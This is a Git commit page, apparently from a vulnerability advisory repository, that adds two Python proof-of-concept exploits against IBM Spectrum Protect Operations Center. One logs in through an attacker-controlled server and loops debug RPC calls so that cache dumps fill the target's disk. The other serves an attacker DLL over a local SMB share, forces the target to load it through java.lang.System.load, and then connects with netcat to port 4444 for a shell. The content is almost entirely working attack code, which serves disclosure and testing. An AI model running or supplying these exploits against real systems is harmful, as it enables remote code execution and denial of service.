Skip to content

Commit b506052

Browse files
committed
TRA-2021-03
1 parent 511c3ad commit b506052

File tree

2 files changed

+222
-0
lines changed

2 files changed

+222
-0
lines changed
Lines changed: 108 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,108 @@
1+
import requests, sys, argparse, re, hexdump
2+
from requests.packages.urllib3.exceptions import InsecureRequestWarning
3+
4+
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
5+
6+
7+
#
8+
# MAIN
9+
#
10+
descr = 'This script generates large Operations Center cache dump files on the remot host, which may fill up the file system.'
11+
12+
parser = argparse.ArgumentParser(description=descr, formatter_class=argparse.RawTextHelpFormatter)
13+
required = parser.add_argument_group('required arguments')
14+
required.add_argument('-t', '--target',required=True, help='Target host')
15+
parser.add_argument('-p', '--port', type=int, default=11090, help='Operations Center port, default: %(default)s')
16+
required.add_argument('-S', '--server', required=True, help='IP/hostname of the attacker-controlled IBM Spectrum Protect Server')
17+
required.add_argument('-U', '--user', required=True, help='User name on the attacker-contrlled server')
18+
required.add_argument('-P', '--password', required=True, help='User password on the attacker-controlled server')
19+
20+
args = parser.parse_args()
21+
host = args.target
22+
port = args.port
23+
server = args.server
24+
user = args.user
25+
password = args.password
26+
27+
print('Logging in to OC at {}:{} with credentials on attacker-controlled server {}'.format(host, port, server))
28+
29+
# Get a login form
30+
sid = None
31+
url = 'https://{}:{}/oc/configuration'.format(host, port)
32+
r = requests.get(url, verify=False)
33+
if 'JSESSIONID' in r.cookies:
34+
sid = r.cookies['JSESSIONID']
35+
if sid is None:
36+
sys.exit('Failed to get a login session ID.')
37+
38+
m = re.search('id="xtoken" value=([0-9A-F-]+)>', r.text)
39+
if m is None:
40+
sys.exit('Failed to get xtoken.')
41+
42+
xtoken = m.group(1)
43+
44+
# Perform login
45+
cookies = {'JSESSIONID':sid}
46+
headers = {'Host': '{}:{}'.format(host, port), 'Origin': 'https://{}:{}'.format(host,port)}
47+
data = {
48+
'connectto' : '{}:1500'.format(server),
49+
'login' : user,
50+
'password' : password,
51+
'xtoken' : xtoken,
52+
'useSSL' : 'true',
53+
'useTLS12Only' : 'true',
54+
'tzoffset' : '300'
55+
}
56+
r = requests.post(url, cookies=cookies, headers = headers, data=data, verify=False, allow_redirects=False)
57+
if r.status_code != 302:
58+
sys.exit('Login failed.\nPlease make sure the credentials for Spectrum Protect server {} is correct and wait for at least 5 minutes or restart the Operations Center service and then rerun the script.'.format(server))
59+
60+
print('Login OK')
61+
print('JSESSIONID : {}'.format(sid))
62+
print('xtoken : {}'.format(xtoken))
63+
64+
if 'JSESSIONID' in r.cookies:
65+
sid = r.cookies['JSESSIONID']
66+
cookies = {'JSESSIONID':sid}
67+
68+
#
69+
# setCacheValue
70+
#
71+
# A cache value is defined by a key and a value.
72+
# Adjust the size to control the size of the cache dump file.
73+
vsize = 10000000
74+
key = 'KEY1'
75+
val = 'A' * vsize
76+
print('Setting an Operations Center cache value, key = {}, value_size = {} bytes'.format(key, vsize))
77+
cv = [key, val]
78+
json = {
79+
'clazz' : 'com.ibm.evo.rpc.RPCRequest',
80+
'methodClazz' : 'com.ibm.tsm.gui.rpc.handlers.DebugRPC',
81+
'methodName' : 'setCacheValue',
82+
'methodArgs' : cv
83+
}
84+
headers = {
85+
'Host' : '{}:{}'.format(host, port),
86+
'Origin' : 'https://{}:{}'.format(host,port),
87+
'xtoken' : xtoken,
88+
'Content-Type' : 'application/json-rpc',
89+
'Accept-Encoding' : 'deflate, gzip'
90+
}
91+
url = 'https://{}:{}/oc/RPCAdapter'.format(host, port)
92+
r = requests.post(url, cookies=cookies, headers = headers, json=json, verify=False, allow_redirects=False)
93+
if r.json()['clazz'] != 'com.ibm.evo.rpc.RPCResponse':
94+
sys.exit('Failed to set a cache value.')
95+
96+
#
97+
# dumpCache
98+
# cache dump files will be created.
99+
#
100+
json['methodName'] = 'dumpCache'
101+
json['methodArgs'] = []
102+
print('Repeatedly issuing dumpCache RPC calls, the following files are created on the remote OC host')
103+
print('Press Control-C to stop')
104+
while True:
105+
r = requests.post(url, cookies=cookies, headers = headers, json=json, verify=False, allow_redirects=False)
106+
t = r.json()['result'].strip()
107+
print(t, end='\r', flush=True)
108+
Lines changed: 114 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,114 @@
1+
import requests, sys, argparse, re ,os.path
2+
import threading, socket, subprocess, shlex
3+
from requests.packages.urllib3.exceptions import InsecureRequestWarning
4+
from impacket import smbserver
5+
6+
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
7+
8+
def smb_server(lip, share):
9+
server = smbserver.SimpleSMBServer(listenAddress=lip, listenPort=445)
10+
server.addShare(share, '.', '')
11+
server.setSMBChallenge('')
12+
server.setLogFile('/dev/null')
13+
server.start()
14+
15+
#
16+
# MAIN
17+
#
18+
descr = 'This script attempts to inject a DLL into the Operations Center process.'
19+
20+
parser = argparse.ArgumentParser(description=descr, formatter_class=argparse.RawTextHelpFormatter)
21+
required = parser.add_argument_group('required arguments')
22+
required.add_argument('-t', '--target',required=True, help='Target host')
23+
parser.add_argument('-p', '--port', type=int, default=11090, help='Operations Center port, default: %(default)s')
24+
required.add_argument('-S', '--server',required=True, help='IP/hostname of the attacker-controlled IBM Spectrum Protect Server')
25+
required.add_argument('-U', '--user',required=True, help='User name on the attacker-contrlled server')
26+
required.add_argument('-P', '--password',required=True, help='User password on the attacker-controlled server')
27+
required.add_argument('-d', '--dll',required=True, help='DLL to inject')
28+
29+
args = parser.parse_args()
30+
host = args.target
31+
port = args.port
32+
server = args.server
33+
user = args.user
34+
password = args.password
35+
dll = args.dll
36+
37+
cur_dir = os.getcwd()
38+
abspath = os.path.abspath(dll)
39+
dll = os.path.basename(abspath)
40+
41+
if not os.path.isfile(cur_dir + os.sep + dll):
42+
sys.exit('DLL {} not in current directory.'.format(dll))
43+
44+
print('Logging in to OC at {}:{} with credentials on attacker-controlled Spectrum Protect server {}'.format(host, port, server))
45+
46+
# Get a login form
47+
sid = None
48+
url = 'https://{}:{}/oc/configuration'.format(host, port)
49+
r = requests.get(url, verify=False)
50+
if 'JSESSIONID' in r.cookies:
51+
sid = r.cookies['JSESSIONID']
52+
if sid is None:
53+
sys.exit('[-] Failed to get a login session ID.')
54+
55+
m = re.search('id="xtoken" value=([0-9A-F-]+)>', r.text)
56+
if m is None:
57+
sys.exit('[-] Failed to get xtoken.')
58+
xtoken = m.group(1)
59+
60+
# Perform login
61+
url = 'https://{}:{}/oc/configuration'.format(host, port)
62+
cookies = {'JSESSIONID':sid}
63+
headers = {'Host': '{}:{}'.format(host, port), 'Origin': 'https://{}:{}'.format(host,port)}
64+
data = {
65+
'connectto' : '{}:1500'.format(server),
66+
'login' : user,
67+
'password' : password,
68+
'xtoken' : xtoken,
69+
'useSSL' : 'true',
70+
'useTLS12Only' : 'true',
71+
'tzoffset' : '300'
72+
}
73+
r = requests.post(url, cookies=cookies, headers = headers, data=data, verify=False, allow_redirects=False)
74+
if r.status_code != 302:
75+
sys.exit('Login failed.\nPlease make sure the credentials for Spectrum Protect server {} is correct and wait for at least 5 minutes and then rerun the script.\nIf access to the Operations Center is available, you can restart the Operations Center and rerun the script.'.format(server))
76+
77+
print('Login OK')
78+
print('JSESSIONID : {}'.format(sid))
79+
print('xtoken : {}'.format(xtoken))
80+
81+
if 'JSESSIONID' in r.cookies:
82+
sid = r.cookies['JSESSIONID']
83+
cookies = {'JSESSIONID':sid}
84+
85+
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
86+
s.connect((host, port))
87+
my_ip = s.getsockname()[0]
88+
s.close()
89+
90+
# Spin up the SMB server thread
91+
share = 'MYSHARE'
92+
print('Starting local SMB Server at {}, share: {}'.format(my_ip, share))
93+
smbd_thread = threading.Thread(target=smb_server, args=(my_ip,share))
94+
smbd_thread.daemon = True
95+
smbd_thread.start()
96+
97+
path = '\\\\{}\\{}\\{}'.format(my_ip, share, dll)
98+
print('Invoking java.lang.System.load() on {}'.format(path))
99+
data = {'server' : path}
100+
headers = {
101+
'Host' : '{}:{}'.format(host, port),
102+
'Origin' : 'https://{}:{}'.format(host,port),
103+
'xtoken' : xtoken,
104+
'Content-Type' : 'application/x-www-form-urlencoded',
105+
'Accept-Encoding' : 'deflate, gzip'
106+
}
107+
url = 'https://{}:{}/oc/QueryReadStoreCache/java.lang.System/load'.format(host, port)
108+
try:
109+
r = requests.post(url, cookies=cookies, headers = headers, data=data, verify=False, allow_redirects=False, timeout=4)
110+
except: pass
111+
print('Note that this script only works against an Operations Center running on a Windows host.')
112+
print('Running nc {} 4444\n'.format(host))
113+
cmd = 'nc {} 4444'.format(host)
114+
subprocess.check_call(shlex.split(cmd))

0 commit comments

Comments
 (0)